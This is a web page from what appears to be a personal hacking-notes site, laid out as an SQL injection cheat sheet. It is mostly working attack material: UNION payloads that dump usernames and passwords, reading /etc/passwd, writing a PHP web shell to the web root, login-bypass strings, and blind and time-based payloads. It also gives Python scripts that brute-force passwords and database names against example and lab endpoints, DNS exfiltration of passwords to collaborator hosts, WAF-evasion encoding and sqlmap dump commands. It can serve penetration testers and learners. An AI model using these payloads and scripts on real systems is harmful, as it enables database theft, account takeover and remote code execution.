Hacking Notes logo Hacking Notes

SQLi is a common web application vulnerability that is caused by unsanitized user input being inserted into SQL queries.

Examining the database

Some core features of the SQL language are implemented in the same way across popular database platforms, and so many ways of detecting and exploiting SQL injection vulnerabilities work identically on different types of database.

You can potentially identify both the database type and version by injecting provider-specific queries to see if one works

The following are some queries to determine the database version for some popular database types:

Database Type Query
mssql, mysql SELECT @@version
oracle SELECT * FROM v$version
postgresql SELECT version()

Listing the contents of the database

Most database types (except Oracle) have a set of views called the information schema. This provides information about the database.

For example, you can query information_schema.tables to list the tables in the database:

SELECT * FROM information_schema.tables

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

Listing contents of an Oracle database

On Oracle, you can find the same information as follows:

SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

Union Attack

When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION keyword can be used to retrieve data from other tables within the database.

MySQL syntax for the example:

$sql = "SELECT id, name, text FROM example WHERE id=" . $_GET['id'];

Column Number Enumeration

After detect that the application is vulnerable to SQLi we need to know how many columns are queried. To do that task we are going to use order by to guess the number of columns retrieved. The idea is to increment the number until get an error.

/index.php?id=1 order by 1
/index.php?id=1 order by 2
/index.php?id=1 order by 3
/index.php?id=1 order by 4 - ERROR

Finding Columns with a useful data type

Now that we know how many columns are in the table, we can use this information to retrieve information. But we need to before understand where this information will be displayed, so we are going to set parameteres to that fields.

/index.php?id=1 union all select NULL, NULL, NULL

Note: The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. NULL is convertible to every commonly used data type.

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error.

Extracting Data from Database

Now knowing that the third column is for descriptions, we can put there all information.

/index.php?id=1 union all select 1, 2, @@version
/index.php?id=1 union all select 1, 2, user()
/index.php?id=1 union all select 1, 2, schema_name from information_schema.schemata
/index.php?id=1 union all select 1, 2, schema_name from information_schema.schemata where schema_name!='information_schema' and schema_name!='performance_schema' and schema_name!='sys' and schema_name!='mysql'
/index.php?id=1 union all select 1, 2, table_name from information_schema.tables
/index.php?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
/index.php?id=1 union all select 1, username, passwords from users

Read files

Some databases allows us to read or write files in the filesystem.

/index.php?id=1 union all select 1, 2, load_file('/etc/passwd')

Retrieving multiple values within a single column

We can also concat multiple values for examples users and passwords and print on a single column.

' UNION SELECT username || '~' || password FROM users--

The output will be:

administrator~s3cure
wiener~peter
carlos~montoya

From SQLi to RCE (PHP)

Since we are allowed to upload files, we can upload a webshell to the web root.

/index.php?id=1 union all select 1, 2, "<?php system($_GET['cmd']);?>" into OUTFILE '/var/www/html/backdoor.php'

In case of exploiting a Microsoft SQL Server check this:

Login Bypass

The most classic ones:

' or '1'='1
' or 1=1-- -
' or 1=1# 

Then others:

-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

Knowing the username

When we are aware of some username we can impersonate him with SQLi by introducing the username and commenting the rest of the SQL Query.

administrator'-- -
administrator'# 

Error Based SQLi

Use CONVERT or CAST to force an ERROR and see the output of the query on errors logs.

Example of Microsoft SQL Server:

1', CONVERT(int,SELECT  FROM .)

a',convert(int,(SELECT CURRENT_USER)))--
a',convert(int,(SELECT DB_NAME(0))))--
a',convert(int,(SELECT DB_NAME(1))))--

# SELECT FIRST TABLE
a',convert(int,(SELECT TOP 1 name from DATABASE..sysobjects where xtype='U')))--

# SELECT A N TABLE (OFFSET)
a',convert(int,(SELECT name from DATABASE..sysobjects where xtype='U' ORDER BY name OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY )))--

# SELECT A N COLUMN NAME(OFFSET) of TABLE
a',convert(int,(SELECT name from DATABASE..syscolumns WHERE id = (SELECT id FROM DATABASE..sysobjects WHERE name = 'TABLE') ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--

# DUMP - repeat it modifyng the OFFSET to retrieve all table entries
a',convert(int,(SELECT username FROM DATABASE..TABLE ORDER BY username OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--
a',convert(int,(SELECT password FROM DATABASE..TABLE ORDER BY password OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY)))--

Example of MySQL:

AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-- -)
AND updatexml(rand(),concat(CHAR(126),user(),CHAR(126)),null)-- -)
AND 1=CAST((SELECT example_column FROM example_table) AS int)

Blind SQLi

A SQLi is blind because we don’t have access to the error log or any type of output which difficult a lot the process of exploitation.

Triggering Conditional Responses

We are going to try to distinct the application response to a TRUE and FALSE query.

xyz' AND '1'='1
xyz' AND '1'='2

If we can get the difference of these two queries we can use substring to retrieve data.

But first we need to know the lenght of the data to retrieve.

xyz' AND LENGTH((SELECT password FROM users WHERE username='admin')) > 5 -- -
xyz' AND LENGTH((SELECT password FROM users WHERE username='admin')) = 15 -- -
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 1, 1) >'m
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 1, 1) ='s
xyz' AND SUBSTRING((SELECT password FROM USERS WHERE username='admin'), 2, 1) ='a

The following is a python example script to automate the data retrieval of a alphanumerical 20 characters length password.

import requests

results = ""
letters = '1234567890zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36", 
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", 
		"Sec-Fetch-Site": "same-origin", 
		"Sec-Fetch-Dest": "document", 
		"Accept-Encoding": "gzip, deflate", "Connection": "close"
	}

for i in range(20):
	print("[!] Character %s" % str(i+1) )
	for l in letters:
		payload = "' AND SUBSTRING((SELECT username FROM users WHERE username='administrator'), %s,1) = '%s" % (str(i+1), l)
		cookies = {
			"TrackingId": "Xv2KlSXeuXAWb9NQ" + payload, 
			"session": "iuxOBNDd4wHkhbbOiUVlQBHTv9AchuTu"
		}
		r = requests.get("https://example.com/sqli", headers=headers, cookies=cookies)
		if "Welcome back!" in r.text:
			print("  [+] Character Found: %s" % l)
			results += l
			break;

print("[!] Finished")
print("[+] Final results:")
print(results)

Another example of retrieving databases names:

import requests

session = requests.Session()
letters = 'rotasdfghjklzxcvbnmqweyuip_@ZXCVBNMASDFGHJKLQWERTYUIOP=+\'", 0123456789.-$%&*!'


# GET LENGTH OF PAYLOAD:
# Payload: (SELECT table_name from information_schema.tables LIMIT 1 OFFSET 1)
def get_length(payload):
	for i in range(1,100):
		#print("	[!] Length: %s" % i)
		paramsGet = {"contextid":"189112","filename":"17042023164857_test.pdf' AND LENGTH(%s)=%s-- -" % (payload,i)}
		headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0","Connection":"close","Sec-Fetch-Dest":"document","Sec-Fetch-Site":"none","Sec-Fetch-User":"?1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br","Sec-Fetch-Mode":"navigate"}
		cookies = {"MoodleSession":"otdcni86r8k5u520fcfh5ump30"}
		response = session.get("https://example.com/certificates/download.php", params=paramsGet, headers=headers, cookies=cookies)
		if response.status_code == 200:
			#print("\t[+]--- Length FOUND : %s" % str(i))
			return i
# GET TABLENAME
# Payload: (SELECT table_name from information_schema.tables LIMIT 1 OFFSET 1)
# Length: 14
def get_value(payload, length):
	out = ''
	for i in range(1,length+1):
		for l in letters:
			paramsGet = {"contextid":"189112","filename":"17042023164857_test.pdf' AND SUBSTRING(%s,%s,1)='%s'-- -" % (payload,i,l)}
			headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0","Connection":"close","Sec-Fetch-Dest":"document","Sec-Fetch-Site":"none","Sec-Fetch-User":"?1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate, br","Sec-Fetch-Mode":"navigate"}
			cookies = {"MoodleSession":"otdcni86r8k5u520fcfh5ump30"}
			response = session.get("https://example.com/certificates/download.php", params=paramsGet, headers=headers, cookies=cookies)
			if response.status_code == 200:
				print("\t[+] Letter FOUND : %s" % str(l))
				out+=l
				break
	return out


# GET FIRST 10 DATABASES
for i in range(0,10):
	print("[!] DATABASE %s" % i)
	payload = "(SELECT schema_name from information_schema.schemata WHERE schema_name!='information_schema' AND schema_name!='performance_schema' AND schema_name!='sys' AND schema_name!='mysql' LIMIT 1 OFFSET %s)" % str(i)
	
	length = get_length(payload)
	print("\t[+] DATABASE %s LENGTH: %s" %(i, length))

	value = get_value(payload, length)
	print("\t[+] DATABASE %s VALUE: %s" %(i, value))

Conditional Responses by triggering SQL errors

If injecting different boolean conditions makes no difference to the application’s response we can force an error using the 1/0.

Example of a OracleDB query:

xyz' || (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END) ||'a
xyz' || (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END) ||'a

If we can get the difference of these two queries we can use substring to retrieve data.

xyz' || (SELECT CASE WHEN (LENGTH(password) > 5) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (LENGTH(password) = 15) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (SUBSTR(password, 1, 1) > 'm') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a
xyz' || (SELECT CASE WHEN (SUBSTR(password, 1, 1) = 's') THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator') ||'a

Example of Mysql query:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Triggering time delays (time based)

Since we are not aware about any type of error or output we can use sleeps if the applications works synchronously.

'; IF (1=2) WAITFOR DELAY '0:0:10'-- -
'; IF (1=1) WAITFOR DELAY '0:0:10'-- -

If it loads for 10 seconds extra we know that the database is processing our sleep() command.

We can use this info to obtain information.

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END

Dump tables

It can also be done with sqlmap or manually with a custom script. In that case the script is dumping MD5 hashes from password field.

import requests
chars = "0123456789abcdef"
def GetSQL(i,c):
    return "admin' and substr(password,%s,1) = '%s' -- -" % (i,c)
for i in range(1,33):
    for c in chars:
        injection = GetSQL(i,c)
        payload = {'username':injection,'password':"randompassword"}
        r = requests.post('http://10.10.10.73/login.php',data=payload)
        if 'Wrong identification' in r.text:
            print(c,end='',flush=True)
            break
print()

Note: MD5 hash are hexadecimal with 33 character length.

Using out-of-band (OAST) techniques

An application might carry out the same SQL query as the previous example but do it asynchronously. The application continues processing the user’s request in the original thread, and uses another thread to execute a SQL query using the tracking cookie.

So we can do DNS queries to exfiltrate data.

'; exec master..xp_dirtree '//burpcollaborator.net/a'--

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.burpcollaborator.net/a"')--
' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 'a')||'.collaborator.com/"> %remote;]>'),'/l') FROM dual-- -

SQL injection in different contexts

In the previous labs, you used the query string to inject your malicious SQL payload. However, you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database.

These different formats may provide different ways for you to obfuscate attacks that are otherwise blocked due to WAFs and other defense mechanisms. Weak implementations often look for common SQL injection keywords within the request, so you may be able to bypass these filters by encoding or escaping characters in the prohibited keywords. For example, the following XML-based SQL injection uses an XML escape sequence to encode the S character in SELECT:

<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>

Cheat Sheet

String Concatenation

We can concatenate together multiple strings to make a single strings. It also works to do a subquery

Note: It’s important while concatenating to only retrieve one element.

'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

Substring

We can extract a part of a string, from a specified offset with a specified length.

Comments

We can use comment to truncate a query and remove the portion of the original query that follows our input.

Database Version

Database Contents

Conditional Errors

Stacked Queries

We can use batched or stacked queries to execute multipels queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. This technique is primarily of use in realtion to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error or time delay.

Time Delays

Conditional Time Delays

DNS Lookup

We can cause the database to perform a DNS lookup to an external domain.

The following payload works on fully patched oracle database but need elevated privileges.

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') 

DNS Lookup with data exfiltration

We can also use DNS lookups to exfiltrate data such as passwords or other fields of a table.

Automatization with sqlmap

# Post
sqlmap -r request.txt -p username

# Get
sqlmap -u "http://example.com/index.php?id=1" -p id

# Crawl
sqlmap -u http://example.com --dbms=mysql --crawl=3

Note: request.txt is a request saved in BurpSuite.

Dumping a Table

sqlmap -r request.txt -p username -D database_name -T table_name --dump

References